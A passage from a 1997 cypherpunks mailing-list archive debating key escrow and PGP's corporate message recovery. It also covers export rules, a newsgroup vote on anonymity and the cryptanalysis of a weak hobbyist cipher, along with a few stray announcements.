> Non-technical point: the NSA (reportedly) has no intention of using
> GAK for classified information.  They know that it weakens security.

You have this wrong.  In fact, NSA *supplies* keys for classified
encryption equipment.  They never told me whether they "escrowed"
copies of the keys they supply -- what do you think?

> Do the privacy of the nation's data and the security of its
> information infrastructure deserve the same consideration as the
> Pentagon's "Confidential" memos?  When you're planning to build in a
> single point of failure, this is a question you have to ask.

In fact, it's much more complex.  People with real classified data
don't trust encryption at all, and they only use it if they absolutely
have to.  They, unlike many cypherpunks, remember well that there are
other ways to get information besides running big computers, and if
you have protections against those in place already, crypto doesn't
buy much. 

But classified data isn't really interesting.  Though by any measure
there are huge amounts of it, it is dwarfed by the amount of
government data that is not classified.  To protect that data
government agencies will use comercial crypto, and "key recovery"
*will* be required in any commercial product purchased by a government
agency.  As use of crypto becomes commonplace business practice, the
government market will be huge, and consequently, commercial products
with key recovery *will* be prevelant.  Any company that doesn't 
supply it will be relegated to niche markets, and, if legal winds 
blow the wrong way, eliminated.

Crow



This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eli Brandt <eli@gs160.sp.cs.cmu.edu>
Date: Thu, 16 Oct 1997 02:24:31 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:PGP Key Escrow and Congress
In-Reply-To: <199710141935.PAA13621@beast.brainlink.com>
Message-ID: <199710151811.LAA23906@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Bruce Schneier wrote:
> From: "Barbara Simons" <simons@VNET.IBM.COM>
>
> Some of these are old arguments that we've been hearing for a while,
> but some are newer.  In particular, points 4 and 6 are difficult to
> refute without getting into some technical details.  Both points also
> undercut the argument that a key recovery infrastructure potentially
> weakens security.  After all, the NSA thinks it's secure enough that it
> can be used by the government.

Non-technical point: the NSA (reportedly) has no intention of using
GAK for classified information.  They know that it weakens security.

Do the privacy of the nation's data and the security of its
information infrastructure deserve the same consideration as the
Pentagon's "Confidential" memos?  When you're planning to build in a
single point of failure, this is a question you have to ask.

-- 
     Eli Brandt  |  eli+@cs.cmu.edu  |  http://www.cs.cmu.edu/~eli/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Thu, 16 Oct 1997 03:30:06 +0800
To: Igor Chudov <ichudov@Algebra.COM>
Subject: Re: CFV: comp.org.cauce moderated -- support privacy and anonymity
In-Reply-To: <199710151705.RAA20443@manifold.algebra.com>
Message-ID: <Pine.LNX.3.94.971015145200.1887a-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 15 Oct 1997, Igor Chudov @ home wrote:

> For your information -- all anonymity advocates take note of the
> comp.org.cauce Call For Votes which wants to outlaw anonymity.

Yes, I find it particularly interesting that the CFV states only that "The
newsgroup is robomoderated to eliminate crossposts and advertisements
only" but does not mention that the robomoderation requires a repliable
(i.e., non-anonymous) e-mail address. (This IS mentioned for the voting
procedure, but not for the group itself. 

Also, in <6203tu$kuj@server2.mich.com>, the proponent for comp.org.cauce
states, "The CFV says people must return an e-mail sent to the address
from which they make the post," which, as near as I can tell, is a lie or
error; I got the ballot from my local server (<876781691.12806@isc.org>)
and it says no such thing, only that it is robomoderated. "Robomoderated"
does not imply that you "must return an e-mail sent to the address from
which [you] make the post". Maybe it says that in the last RFD, but not in
the CFV. 

At any rate, if for some reason this CFV is approved, I will post
something to comp.org.cauce with the remailer, and when the reply comes
back (yes, the return address is valid), I'll reply to it, so cracker will
be able to post there, until somebody decides, using their "discretion",
to ban posts from the remailer address.

If it were comp.org.cauce.announce, I really wouldn't give a shit about
what the moderation policy is, but it's represented as a group where
"opinions contrary to those of CAUCE are solicited and welcomed," and I
don't have too much confidence that this will be the case.

Spam sucks but censorship is worse.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.athens.net/~dustman   mailto:andy@CCMSD.chem.uga.edu       <}+++<


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gene Hoffman <hoffmang@pgp.com>
Date: Thu, 16 Oct 1997 07:22:50 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: anti-GAK design principles: worked example #1
In-Reply-To: <199710152245.XAA01135@server.test.net>
Message-ID: <Pine.LNX.3.95.971015160918.16789K-100000@privnet.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 15 Oct 1997, Adam Back wrote:

> 
> - store a copy of the private half of the users PGP encryption key
>   encrypted to the company data recovery key on the users disk.
> 

You would rather have PGP implement private key escrow?

Gene Hoffman
PGP, Inc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@www.video-collage.com>
Date: Thu, 16 Oct 1997 01:13:46 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: CFV: comp.org.cauce moderated -- support privacy and anonymity
In-Reply-To: <3447bfd7.22958863@128.2.84.191>
Message-ID: <199710151705.RAA20443@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain



For your information -- all anonymity advocates take note of the
comp.org.cauce Call For Votes which wants to outlaw anonymity.

The Call For Votes has been posted to news.groups, with a very 
lively discussion that followed. You may be amused to read it.

igor

In news.groups, phelix@vallnet.com <phelix@vallnet.com> wrote:
* On 14 Oct 1997 11:57:07 -0400, moz@server2.mich.com (John C. Mozena) wrote:
* 
* >In article <slrn646v9m.e2u.ichudov@manifold.algebra.com>,
* >Igor Chudov @ home <ichudov@algebra.com> wrote:
* >
* >>We have exposed your arguments against munging as bogus.
* >
* >You have exposed nothing but your ability to be hateful.
* >
* >>But, what do you have against anonymity?
* >
* >Nothing. What right do you have, though, to force me and others to
* >inconvenience ourselves so you can post anonymously or protect yourself
* >from spam?
* >
* >>Vote AGAINST comp.org.cauce which wants to outlaw anonymity and
* >>use of spamblocked addresses. Go to news.groups and find the
* >>CFV for comp.org.cauce, with the ballot enclosed.
* >
* >Vote for comp.org.cauce, which protects the utility of a newsgroup and the
* >freedom of postmasters to not run anonymous posting services should they
* >not so desire.
* 
* Well, I just started reading this, and I didn't really know which way to
* vote.  But such an anti-anonymnity stance makes the choice clear:
* 
* vote *NO*.
* 
* Thanks for clearing things up, John.
* 
* -- Phelix
* 


-- 
	- Igor.

The average American spends a total of six (6) months in prison. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: twaweb@inet2.twa.com
Date: Thu, 16 Oct 1997 02:05:45 +0800
To: cypherpunks@toad.com
Subject: Trans World Specials e-mail confirmation
Message-ID: <19971015172525.8770.qmail@inet2.twa.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you registering with the TWA Trans World Specials Electronic Faresale
notification program.

TWA posts faresales for the week on Tuesday mornings at
http://www.twa.com/html/flights/faresale.html.

If the routes you have selected in Trans World Specials match the faresale
cities - then you will receive the faresale by e-mail.

You can always update your profile and add or remove routes by returning to:
http://www.twa.com/odpairs

Thank you!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 16 Oct 1997 09:34:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re:
In-Reply-To: <199710152145.XAA20388@basement.replay.com>
Message-ID: <v03102803b06b11dd83a5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:45 PM -0700 10/15/97, Anonymous wrote:
>Tim May <tcmay@got.net> writes:
>> This also applies to CMR as well. Whatever the perceived business reasons
>> for CMR, the fact is that it introduces additional failure points. No
>> longer will Alice and Bob be secure that at least there are no "other
>> readers" in the channel between them (what they do with the plaintext after
>> decryption is of course solvable by no technology).
>
>I thought that was the whole point of the PGP design.  It makes the
>presence of third parties clear and visible to all participants.  This
>seems to be the fundamental principle.  PGP is designed to allow Alice
>and Bob to be informed if third party access is built in.  Key escrow
>and re-encryption are inherently less visible forms of message access.

My explicit point was about what happens to plaintext _after_ it has been
received. Not an exceptionable point, it seems to me. CMR doesn't tell
anybody anything about who later sees the plaintext (it can't, which was my
point).

And CMR of course does not actually stop the practice of requiring
employees to physically "escrow" keys. I would expect that most companies
now requiring employees to deposit copies of their keys may well continue
to do so.

(And I'll bet the CMR keys are _also_ required to be escrowed...the CMR
keys are too valuable not to be copied multiple times.)

Finally, I stand by my point that it introduces security weaknesses in the
model.

--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 16 Oct 1997 09:48:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <19971015173435.26095@rigel.infonex.com>
Message-ID: <3.0.3.32.19971015183740.008cad00@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

>Truly sensitive stuff--stuff about takeovers, foreign production plans, new
>products, etc.--will be encrypted with channels having no nosy security
>guards or Corporate Crypto Compliance Police silently listening in.
>
>Which means we're back to square one. So why does PGP, Inc. bother?

Because they've got customers who will pay for CAKware. 

Why will customers pay for it? Same reason the FBI wants GAK, even though
motivated/well-informed crypto users will superencrypt or otherwise bypass
the enforcement mechanisms. If you're the C in CAK or the G in GAK, access
to some data is better than access to no data - and the possibility of
enforcement radically alters the risk/benefit calculus of even intelligent
actors who see their interests as contrary to those of the [C,G]. 

As Jon Callas confirmed at the recent Cpunks physical meeting, the current
CAK/CAM/whatever system has very weak code re policy enforcement - for
example, it'll allow otherwise forbidden messages to pass through its
filters if even the "--- BEGIN PGP MESSAGE ---" lines are altered or
removed. It won't disassemble tar or zip or uuencode packages, or otherwise
attempt to discover simple attempts to bypass the enforcement mechanisms.
They're not trying to stop determined covert communicators - that's not
their threat model.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 16 Oct 1997 14:56:54 +0800
To: rfarmer@HiWAAY.net>
Subject: Re: Encyrption Program
In-Reply-To: <199710141958.MAA22050@k2.brigadoon.com>
Message-ID: <3.0.3.32.19971015185531.006aa87c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:58 PM 10/14/1997 PST, semprini@theschool.com wrote:
>This is in response to the several posts regarding the assumed 
>weakness in the program I wrote:
>    While it is true that PRNG's are not very good, because of the 

There are lots of kinds of random number generators.
Many of them are good for simulations and totally useless for crypto,
and not even very good for the intermediate problem of gambling.
It's worth getting a copy of PGP and reading the section in the
user documentation about Snake Oil - Phil Zimmermann describes
how he invented a cool new cryptosystem using PRNGs and was surprised
to find breaking it as a textbook exercise.  He's gotten better since then :-)

By far the most commonly used is the Linear Congruential Generator;
	x[n] = ( a * x[n-1] + c ) mod m
They're popular because they're fast, simple, and for well-chosen
values of a, c, and m, they produce reasonable-quality random numbers.
Another very popular class of random number generators is 
Linear Feedback Shift Registers, which look roughly like
	b[n] = a[0] + a[1]*b[n-1] + .... + a[k]*b[n-k]
where the a[] and b[] variables are bits and it's all modulo 2.

The definitions of "random" used here imply that the
value of x[n] is statistically well-distributed even if you know
	x[n-1], x[n-2] .... x[0].  
That doesn't mean that _you_ can't easily calculate them,
nor does it mean that you can't easily calculate 
	x[n-k], x[n-k-1], ... x[0]  given x[n] ... x[n-k+1].

For both LCG and LFSR, there's a lot of mathematical theory
about how to do this, and especially LCGs are pretty useless.
Among other things, if anybody knows the first N bits of your message,
for instance they know some plaintext -- knowing the first two 
characters is enough for a known LCG using 16-bit integers,
such as the "Fr" in "From: alice@acme.com", or the 
magic number in the first 2-4 bytes of a file that indicates
it's a GIF or EXE or a.out or whatever.  If you don't know
which 16-bit LCG it is, having the first 4 bytes helps a lot.
And if you don't know, there are only 65536 possibilities,
so just try them all and look for text.  Even if you're
using 32-bit LCG random numbers, that's not very many for a
Pentium to crunch on over the weekend.

>To work around the lattice problem, I used a systm of cubic arrays.
>The program first creates sixteen cubic arrays, and fills 
>them one space at a time with random characters. 
>When the stream of characters to be XORed with the plaintext is 
>generated, it picks a random cube and a random location with that cube. 

You're probably generating the set of random characters from the LCG,
which means if you know one, you know them all (or at least,
if you try it 65536 times you do, for a 16-bit LCG.
This _is_ more annoying for 32-bit LCGs, but not particularly
harder; maybe you need a lab-full of Pentia.)
Similarly, your "random" cube and "random" location are
probably chosen from the same stream.  So for each starting value,
we know the contents of the cubes, and which cube and byte are chosen, 
so we XOR them with "F", and if that works XOR them with "r",
and work our way down the line.

> you can download both the compiled version *and* the source
Providing source is important - thanks; at least there's some chance that
people can look at your algorithm and see if it's been done before.
A good description of what the algorithm is and why it's strong
are also helpful, especially for people who don't know the
syntax of whichever programming language you're using very well.

> "http://www.brigadoon.com/~semprini/3dmx". 
Only connect once every hundred years?  No thanks!  :-)

Also, is there any way to jump ahead in the LCG?  
	x1 = ( a*x0 + c ) mod m
	x2 = ( a*a*x0 + c*x0  + c ) mod m = ( (a*a+c)*x0 + c ) mod m
Is it easy to extend this to x2, x4, x8, x16, x32 ....?
This would make it much faster to calculate the "random" cube and cell,
and would let you only calculate the values you need in the cube
instead of calculating them all, so you only do about 
log(16*cubevolume) calculations instead of 16*cubevolume.
If that doesn't work, it still gives you a set of values 
	a[k] such that x[k] = ( a[k]*x0 + c ) mod m
which lets you calculate the coefficients for the cube _once_
(the same amount of work you needed to do to use the encryption),
and then for each value of x[0], calculate x[RandomCubeNumber]
and x[RandomCellNumber], then calculate the value of that
cell in that cube (which takes another lookup+multiply+add+mod).
That means you need to do a dozen or so operations per key,
so even if you're using the 32-bit LCG, that's about 50 billion ops,
which is a thousand or so Pentium-seconds.  If you're using the
16-bit LCG, setting up the cubes will take about as long as cracking,
which says you can crack this version of the algorithm in only
2-3 times as long as it would take to use it as a user....

LFSRs are probably harder.....  somewhat....

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Thu, 16 Oct 1997 10:19:56 +0800
To: Adam Back <wprice@pgp.com
Subject: Re: anti-GAK design principles: worked example #1
In-Reply-To: <v04001b0eb06a3d206797@[205.180.137.244]>
Message-ID: <3.0.3.32.19971015190021.00ae9730@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:45 PM 10/15/97 +0100, Adam Back wrote:
   

Okay, Adam, I'll be civil here, but here's something I want to note:

You've ranted, raved, politicized, propagandized, given ad hominem attacks,
and stated the opinion that anyone who disagrees with you is evil. You've
sent flames to our internal development lists, which is at least impolite.
Yet you say, "constructive criticism only." Sure. I'd like an apology from
you, though. Deal?


   
>   Also I have been accused of using "lots of anti GAK rhetoric, but
>   giving no proposals" by Kent.  I reject that claim.  (I did use lots
>   of rhetoric, but this was to try to impress upon those arguing for CMR
>   of it's dangers.  They do not seem to acknowledge them.) I'll try in
>   this post to steer clear of anti-GAK rhetoric.  We'll instead take it
>   as a given that pgp5.5 and pgp5.0 are GAK compliant because of CMR and
>   that this is a bad thing.

Uh huh. Steer clear of rhetoric, but we'll take it as a given that you're
right and everyone else is wrong. At least this is a de-escalation.
   
>   Design 1.
>   
>   Instructions:
>   
>   - scrap the CMR key extension
>   
>   - store a copy of the private half of the users PGP encryption key
>     encrypted to the company data recovery key on the users disk.

Okay -- constructive criticism only. I sincerely hope I'm reading this
correctly. You're saying that someone's private key should be encrypted to
the corporation's key. This sounds like key escrow to me. How does this
differ from the overly strict, nit-picking, freedom-threatening definition
that I gave? 

This is better than the throw-the-floppy-in-the-safe model in that the
company-readable version of your key is sitting on your machine. That's good. 

I see a threat here that if the corporation backs up my disk, they they
have my secret key and thus can read all files that key has ever encrypted.
This is bad. Normally, if they back up my system, they have my secret key,
but they have to hack my secret key. Most people's passphrases are easier
to crack than a public key, but I think this is worse.

With this system, the corporation can read everything I encrypt with that
key, because they effectively own it. Encrypting my secret key to them
essentially gives it to them. With CMR, I have the option of making some
files readable, and some not. This isn't necessarily a good thing -- some
companies want access to all data, and your proposal helps them.

I'm actually very surprised by this design of yours. On the scale of
property-balanced-with-privacy, you've come down hard on the side of
property. Your system makes it so that an employee of a company can *never*
use this key for a purpose the company can't snoop on. This isn't
necessarily bad, I think that people *should* have separate keys for work
and personal use. This just makes the work key definitely the work key. A
number of our customers will like that.
   
>   - (optional) design the software to make it hard to copy the data
>     recovery packet from the disk, hide the data, bury it in keyrings,
>     stego encode it, whatever, use your imagination.  This is to attempt
>     to restrict the third parties ability to by pass the principle of
>     non communication of recovery information
   
This is security through obscurity. We publish our source code, so this
won't work.
   
>   Recovery method:
>   
>   Custodian of recovery key inserts recovery floppy disk in machine,
>   decrypts copy of users private key, hands control back to user to
>   choose new passphrase.

Choosing a new passphrase is not sufficent. If the custodian ever uses that
key, it *must* be revoked, a new encryption key issued, and all data
encrypted with it re-encrypted. There is also the problem of
re-distributing the revocation and new encryption key to all the people who
have your old one. This is no worse than any other revocation problem, but
CMR does not require revoking the user's key.   
   
>   Possible objections:
>   
>   objection #1. what if disk burns?
>   counter #1:   backup your disk
>   
>   objection #2: users don't back up disks
>   counter #2:   that is a good way to loose data :-) if they don't have
>                 the data the key protecting the data won't help them

This is no different with CMR. One of the design goals of CMR is to avoid
the myriad logistic and security problems associated with data archival.
   
>   GAK-hostility rating:
>   
>   Harder to pervert for GAK than pgp5.5 / pgp5.0 CMR design.

Why? With your mechanism, if the G manages to A the K, then they can
decrypt every message that key has ever encrypted. I think this is a design
flaw. 
   
   
>   I'd be interested to see Will, or Hal, or other PGPer's criticisms of this
>   simple modification, perhaps criticisms could most constructively answer:
>   
>   - what is stopping you implementing this
>   - are there any plug ins which can't cope with this
>   - are there user requirements which it can't meet
>   - is there some fundamental flaw you think I have missed
>   - can you see ways that this could be perverted to implement GAK
>     (yes I can too, btw, but...)
>   - are those ways logisitically harder for GAKkers to acheive than for CMR
>   
>   Please be specific, no general waffle about understanding the
>   complexities of balancing user ergonomics, user requirements etc.
>   That is a no-brainer, you need to do this analysis, the cost function
>   for evaluating such design issus is now expressed explicitly in design
>   principle 4 rather than being assumed.  List problems and explain the
>   significance of the all important deployability criteria.
>   
>   Cryptographic protocol designs are very flexible; most design goals can
>   be met, or worked around I claim within the positive GAK-hostility
>   side of the cryptographic protocol and product design solution space.
>   
>   Lastly, I would encourage readers to be critical of the GAK-hostile design
>   principles themselves:
>   
>   - can you see any aspects which inaccurately reflect trade-offs
>   - can you see methods to bypass inadvertently or deliberately the design 
>     that might require another corollary to correct.
>   
>   In anticipation of constructive criticism,

Okay, general observations:

I'm really surprised at this. In the continuum between privacy and
property, you've come down hard on the side of property. You've said that a
key owned by a corporation is *fully* owned by the corporation, and any
employee who uses it for personal purposes is daft. This is not what I
expected you to be arguing.

Enforcement. Most corporations want some level of enforcement on their
policies. The enforcement we put in isn't fool-proof, but it's far easier
to comply than resist. This is a design goal. I have a concern that the
only enforcement that the corporation has is to take your private key. If
this is their only way to make you follow their rules, they'll do it. Many
of them will play nice if possible, but hardball if they have to.

Fair-warning. In my first missive, I talked about my own principles, and
one of them is the "fair-warning" principle. It states that users should
know what is going on. If you have a key that is used in this system, there
is nothing in it that tells me that your company can read a message I send
you. I see this as a flaw, and one that I consider to be a *very* big deal.
Full disclosure is one of my hot buttons.



I think this is breaks a number of your principles.

Principle 1: The end-user's keys *are* escrowed with the company. If my
disk is ever backed up, then the corporation has my secret key. In order to
keep it from being implicitly escrowed, I have to put it someplace like
off-line media that can be gotten to if I'm hit by a bus. If you disagree,
please tell me how this is different from escrow.

Principle 2: The corporation is always a tacit crypto-recipient. It's no
different than CMR, and has the additional disadvantage that senders don't
know that the implicit receivers are there.

Principle 3: Again, the corporation is a tacit recipient in *all* uses of
the key. With CMR, they are an explicit recipient, and it's possible to
exclude them. There's no way to exclude the corporation here.

Principle 4: I don't see how this differs between your proposal and CMR.


Lastly, I here's a summation of what I think.

I think it's an interesting proposal. You're much more of a
corporate-control proponent than I am. I think control and privacy have to
be balanced, whereas you obviously think corporate control is trump. We
disagree there.

I am uncomfortable at the ease with which the end user can lose their key.
The end user must somehow prevent the employer from even so much as backing
up their computer, or it's just plain escrow.

I am uncomfortable not only with your siding with the corporation against
the employee's privacy, but also with your siding against the privacy of
someone who sends a message to the employee. Furthermore, I think that the
absence of a disclosure mechanism in your protocol is for us, a fatal flaw.
We'd never implement a system that does not have disclosure.

I do not see how your system is GAK-hostile. I think it is no more
GAK-hostile than CMR, and potentially more GAK-friendly, because it is
based around manipulating the actual secret key material. The failure mode
of CMR is that an adversary can decrypt messages, whereas the failure mode
of your proposal is that the adversary gets the key.

	Jon

   
   Adam
   
   [1]
   ==============================8<==============================
   GAK-hostile design principles
   
   If we take the design goal of designing systems including
   confidentiality which are not GAK compliant, we can most succinctly
   state this design goal as the task of ensuring that:
   
   - at no point will any data transferred over communications links be
     accessible to anyone other than the sender and recipient with out
     also obtaining data on the recipient and/or senders disks
   
   
   We can then derive the design principles required to meet the design
   goal of a non-GAK compliant system with confidentiality services down
   to ensuring that:
   
   principle 1:
      no keys used to secure communications in any part of the system are
      a-priori escrowed with third parties
   
   principle 2:
      second crypto recipients on encrypted communications are not
      used to allow access to third parties who are not messaging
      recipients manually selected by the sender
   
   principle 3:
      communications should be encrypted to the minimum number of
      recipients (typically one), and those keys should have as short a
      life time as is practically possible
   
   principle 4:
      deployment wins.  violating any of principles 1 to 3 whilst
      still retaining some GAK-hostility can be justified where
      deployment is thereby increased to the extent that the violations
      increase the degree of GAK hostility in the target jurisdictions
      overall
   
   Corrollary 1: Included in design principle 2) is the principle of not
   re-transmitting keys or data after decryption over communication
   channels, re-encrypted to third parties -- that is just structuring --
   and violates design principle 2.
   
   Corrollary 2: where communications are transmitted which violate
   principles 1, 2 or 3 it is in general more GAK hostile to enforce as
   far as possible that the recovery or escrow information remains in as
   close proximity to the data as possible.
   
   Corrollary 3: where communications are transmitted which violate
   principles 1, 2 or 3 it is in general more GAK hostile to make these
   communications as difficult to automate as possible.  For example no
   scripting support is given to enforce that GUI user interaction is
   required, and/or that the process is made artificially time consuming,
   and/or that the communication must not use electronic communication
   channels
   
   ==============================8<==============================
   
   

-----
Jon Callas                                  jon@pgp.com
Chief Scientist                             555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                   Suite 570
(415) 596-1960                              Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 16 Oct 1997 09:16:06 +0800
To: cypherpunks@toad.com
Subject: Rules of Engagement on Video
Message-ID: <Pine.LNX.3.95.971015175351.565B-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain




I know this isn't directly cypher related, but oh well.

An award winning film, "Waco: the rules of engagement" is now
available on video.  Previously running at Art Houses and Film
Festivals it was produced by a few revolutionary media people.
Somehow it occurred to them that all the right-wingers had beaten
them to the punch making civil rights abuses known to the public.
Can't have any of that now, can we?  Why should *they* have all the
fun?

Anyway its been lauded as a very well balanced work.  Not like those
other people -- talking about evil, new world order conspiracies. ;-)

Probably most noteworthy is the included FLIR FBI footage (Forward Looking
InfraRed) which, under expert scrutiny, appears to show LEFs raining
automatic fire down on citizen units trying to escape the final
conflagration.  Here expert scrutiny is defined as the head of research
for the army night vision development group.

Its definitely the cure for those times when GAK starts looking like
reasonable, sensible and prudent alternative. 

I have absolutely no involvement or monetary connection to these
people.  I just wish they would have put it on video first.


"Is your religion BATF approved?"

---------- Forwarded message ----------
Date: Wed, 15 Oct 1997 12:34:04 -0700 (PDT)
From: SomFord Entertainment <somford@worldnet.att.net>
To: somford@worldnet.att.net
Subject: "Waco: The Rules of Engagement" Video Order Form

Thanks for your interest in obtaining the video of  "Waco: The Rules of
Engagement".
We are pleased to announce that it is finally available!  Please check the
website
periodically for ongoing reviews, press, announcements and updates to the
order form.

http://www.waco93.com/

"Waco: The Rules of Engagement"  Video Order Form

Print, Complete, And Mail This Form With Check Or Money Order To:
SomFord Entertainment, 8778 Sunset Bl., Los Angeles, CA 90069

Questions: 310-289-3900

     1. E-Mail Address:...............................................

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     11. "Waco: The Rules of Engagement" Video.........Quantity:......

           $25.00 for 1 tape.
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     Please allow three weeks for delivery. Thank you for your order









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Thu, 16 Oct 1997 11:06:42 +0800
To: tien@well.com
Subject: Re: Personal use crypto export
In-Reply-To: <v03007812b06adf711815@[163.176.132.90]>
Message-ID: <199710160207.TAA09116@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



> I agree with Tim May, I believe it's no longer an issue.  While the current
> EAR/crypto regs don't expressly say "personal use OK," they can be read
> that way under several exemptions, and I'm reliably told that BXA does.
> 
> In the draft EAR/crypto regs posted to John Young's site some months ago,
> the BAG license exception, at (d) and (f) (see below), specifically
> addresses crypto.  It's only a draft and may change, but I wouldn't worry
> about it.
> 
> Lee Tien
> 
> =A7740.14  Baggage (BAG).
> 
> (a)  Scope.  This License Exception authorizes individuals leaving the
> United States either temporarily (i.e., traveling) or longer-term (i.e.,
> moving) and crew members of exporting or reexporting carriers to take to
> any destination, as personal baggage, the classes of commodities and
> software described in this section.


License Exception TMP also applies.  The following is from
bxa123096.txt on jya.com.  I had to go to the Federal Register to
find the actual text of the exception (Sorry, not easily at hand.)

    Note that License Exception TMP is available
    for temporary exports and reexports of encryption items except under
    the provisions for beta-test software. License Exceptions TMP and BAG
    effectively replace the Department of State's personal use exemption.
    Software and technology that was controlled by the Department of
    Commerce prior to December 30, 1996 are not affected by this rule and
    will continue to be eligible for the publicly available treatment.
    I think that I had to go to the Federal Register to dig it out.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Thu, 16 Oct 1997 08:24:51 +0800
To: andy@CCMSD.chem.uga.edu (Andy Dustman)
Subject: Re: CFV: comp.org.cauce moderated -- support privacy and anonymity
In-Reply-To: <Pine.LNX.3.94.971015145200.1887a-100000@neptune.chem.uga.edu>
Message-ID: <199710160011.AAA21851@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Thank you, Andy.

I hope that the proposal in its current form will not pass if we 
vote against it. In that case, an unmoderated group will be created.

igor

Andy Dustman wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Wed, 15 Oct 1997, Igor Chudov @ home wrote:
> 
> > For your information -- all anonymity advocates take note of the
> > comp.org.cauce Call For Votes which wants to outlaw anonymity.
> 
> Yes, I find it particularly interesting that the CFV states only that "The
> newsgroup is robomoderated to eliminate crossposts and advertisements
> only" but does not mention that the robomoderation requires a repliable
> (i.e., non-anonymous) e-mail address. (This IS mentioned for the voting
> procedure, but not for the group itself. 
> 
> Also, in <6203tu$kuj@server2.mich.com>, the proponent for comp.org.cauce
> states, "The CFV says people must return an e-mail sent to the address
> from which they make the post," which, as near as I can tell, is a lie or
> error; I got the ballot from my local server (<876781691.12806@isc.org>)
> and it says no such thing, only that it is robomoderated. "Robomoderated"
> does not imply that you "must return an e-mail sent to the address from
> which [you] make the post". Maybe it says that in the last RFD, but not in
> the CFV. 
> 
> At any rate, if for some reason this CFV is approved, I will post
> something to comp.org.cauce with the remailer, and when the reply comes
> back (yes, the return address is valid), I'll reply to it, so cracker will
> be able to post there, until somebody decides, using their "discretion",
> to ban posts from the remailer address.
> 
> If it were comp.org.cauce.announce, I really wouldn't give a shit about
> what the moderation policy is, but it's represented as a group where
> "opinions contrary to those of CAUCE are solicited and welcomed," and I
> don't have too much confidence that this will be the case.
> 
> Spam sucks but censorship is worse.
> 
> Andy Dustman / Computational Center for Molecular Structure and Design / UGA
>     To get my PGP public key, send me mail with subject "send file key".
> For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
> "Encryption is too important to leave to the government."  -- Bruce Schneier
> http://www.athens.net/~dustman   mailto:andy@CCMSD.chem.uga.edu       <}+++<
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3ia
> Charset: noconv
> 
> iQEPAwUBNEUYFxOPBZTHLz8dAQE0OgfPTw5k5z9BfLUwVlORUW3dcgspkTsnB8xg
> MZLxH/7mxsOcTkS/yjggqwKloMf5FS5kHB7rQ3D2aWboagxvGDaEU72d33fDs/uE
> LyDT4+uHB4DVZibOcHXWGNY5QxC8Y2kPbzWpPE8PPrYQXbBpmxC2qYkO7wXtS0a4
> zl9EnWai8xgE7GcRrHbOiqoxJ7LCEOUb1JuFJxloUOJ9ilWYaYs5CJ8ZW0itS4Fe
